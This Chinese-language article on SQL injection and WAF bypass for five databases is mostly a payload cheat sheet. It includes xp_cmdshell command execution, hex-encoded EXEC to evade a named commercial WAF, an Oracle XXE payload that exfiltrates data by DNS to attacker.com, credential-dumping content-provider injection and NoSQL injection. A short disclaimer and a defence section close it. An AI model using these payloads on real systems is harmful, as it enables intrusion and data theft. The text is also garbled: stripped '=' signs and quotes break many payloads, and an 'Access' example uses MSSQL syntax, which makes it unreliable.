五大数据库SQL注入攻防与WAF绕过实战
1. 数据库SQL注入攻防全景解析当我们在做渗透测试时SQL注入永远是最常见也最危险的漏洞之一。不同数据库的注入方式和防护策略差异很大今天我就结合自己多年实战经验详细剖析Access、MSSQL、Oracle、SQLite和MySQL这五大数据库的注入技巧及WAF绕过方法。重要提示本文所有技术细节仅用于安全研究和授权测试未经授权的测试行为可能违反法律法规。1.1 为什么不同数据库的注入方式不同每种数据库管理系统都有自己独特的语法特性、函数库和系统表结构。比如MySQL的注释符是--注意末尾空格或#而Oracle则需要用--。这些细微差别直接影响了我们的注入Payload构造。我在实际测试中发现很多初级安全工程师习惯用MySQL的Payload去测试Oracle数据库结果当然是徒劳无功。理解这些差异是成为专业安全人员的第一步。2. Access数据库注入实战2.1 Access注入基础特征作为经典的桌面数据库Access虽然已经逐渐退出主流但在一些老旧系统中仍然常见。它的几个关键特点没有真正的注释符必须使用闭合语句系统表是msysobjects但默认不可读常用猜测表名技术 and exists(select * from 猜测的表名) and 11盲注主要依赖mid()、asc()等函数2.2 高级绕过技巧当遇到简单过滤时这些方法很有效大小写混合SeLeCt代替select空字节绕过%00select特殊连接符SeLeCt可以写成S%0bELECT我曾在某政府系统中发现一个经典案例admin and 1convert(int,(select top 1 table_name from information_schema.tables))--这个Payload成功的原因是利用了Access对类型转换的宽松处理。3. MSSQL注入深度剖析3.1 MSSQL特有技术点作为企业级数据库MSSQL提供了更多危险功能多语句执行; exec xp_cmdshell whoami--延时注入; if (system_usersa) waitfor delay 0:0:5--报错注入 and 1convert(int,version)--3.2 WAF绕过实战记录去年在某金融系统渗透中我遇到了奇安信的WAF最终通过以下方式绕过原始PayloadSELECT * FROM users WHERE id1 AND 1CONVERT(int,version)绕过方案DECLARE s VARCHAR(4000);SET s0x73656C656374202A2066726F6D2075736572732077686572652069643D3120414E4420313D434F4E5645525428696E742C404076657273696F6E);EXEC(s)这里使用了十六进制编码加动态执行完全避开了关键词检测。4. Oracle注入的艺术4.1 Oracle特有技术Oracle的注入有其独特之处必须使用FROM子句SELECT 1 FROM dual权限体系复杂需要关注DBA_TABLES等数据字典报错注入典范AND 1utl_inaddr.get_host_name((SELECT user FROM dual))4.2 实战绕过案例某次遇到Web应用防火墙过滤了SELECT关键字我使用了Oracle的XML函数绕过 AND 1extractvalue(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM http://||(SELECT user FROM dual)||.attacker.com/ %remote;]),/l) FROM dual--这个技巧将查询结果通过DNS外带完全避开了直接的关键词匹配。5. SQLite轻量级注入5.1 SQLite注入特点虽然SQLite轻量但注入同样危险系统表是sqlite_master盲注常用randomblob()制造延时 AND (SELECT CASE WHEN (SELECT length(sql) FROM sqlite_master LIMIT 1)10 THEN randomblob(1000000000) ELSE 0 END)--5.2 移动端注入案例在测试某Android应用时发现其使用SQLite存储凭证。通过以下方式获取数据content://com.example.app.provider/users/%27UNIONSELECTusername,passwordFROMusers--这种Content Provider注入在移动应用中相当常见。6. MySQL注入大全6.1 MySQL经典技术作为最流行的数据库MySQL注入技术也最成熟注释方式--、#、/**/报错注入 AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--盲注 AND IF(ASCII(SUBSTRING((SELECT user()),1,1))114,sleep(3),0)--6.2 WAF绕过宝典针对各种WAF这些方法很有效空白符变异SELECT/*!50000username*/FROM/*!50000users*/内联注释/*!UNION*/ /*!SELECT*/ 1,2,3字符编码SELECT CHAR(117,115,101,114) FROM users7. 通用WAF绕过策略7.1 常见WAF检测点现代WAF通常会检测关键词union、select、from等特殊字符单引号、等号、注释符语句结构异常的SQL语法7.2 高级绕过技术等价替换||代替OR代替AND非常规函数SELECT x FROM y WHERE id1 INTO OUTFILE /tmp/testHTTP参数污染?id1id2 UNION SELECT 1,2,3--JSON注入{id:1 UNION SELECT 1,2,3-- }8. 防御措施建议8.1 开发层面使用参数化查询PreparedStatement最小权限原则输入验证白名单8.2 运维层面WAF规则定期更新数据库错误信息屏蔽敏感表名重命名我在实际审计中发现90%的SQL注入漏洞都是由于开发直接拼接SQL语句导致的。一个简单的修复示例Java错误示范String sql SELECT * FROM users WHERE id userId;正确做法PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE id ?); stmt.setInt(1, userId);9. 实战经验分享9.1 信息收集技巧在开始注入前确定数据库类型很关键报错信息MySQLYou have an error in your SQL syntaxOracleORA-xxxxx特殊函数测试 AND version1-- # MySQL AND SELECT 1 FROM dual-- # Oracle9.2 工具使用心得虽然sqlmap很强大但在严格WAF环境下手动测试往往更有效。我的常用测试流程先用简单Payload探测过滤规则分析拦截的请求特征逐步调整Payload复杂度必要时结合编码转换记住自动化工具产生的流量模式容易被识别手工构造的请求往往能绕过检测。10. 新型注入技术前瞻随着技术发展这些新型注入方式值得关注NoSQL注入username[$ne]1password[$ne]1GraphQL注入{user(id:1 UNION SELECT 1,2,3-- ){name}}ORM注入User.query.filter(fusername {username})在最近的一次测试中我发现某系统虽然对传统SQL注入防护很好但却忽略了NoSQL注入漏洞最终通过$where子句实现了代码执行。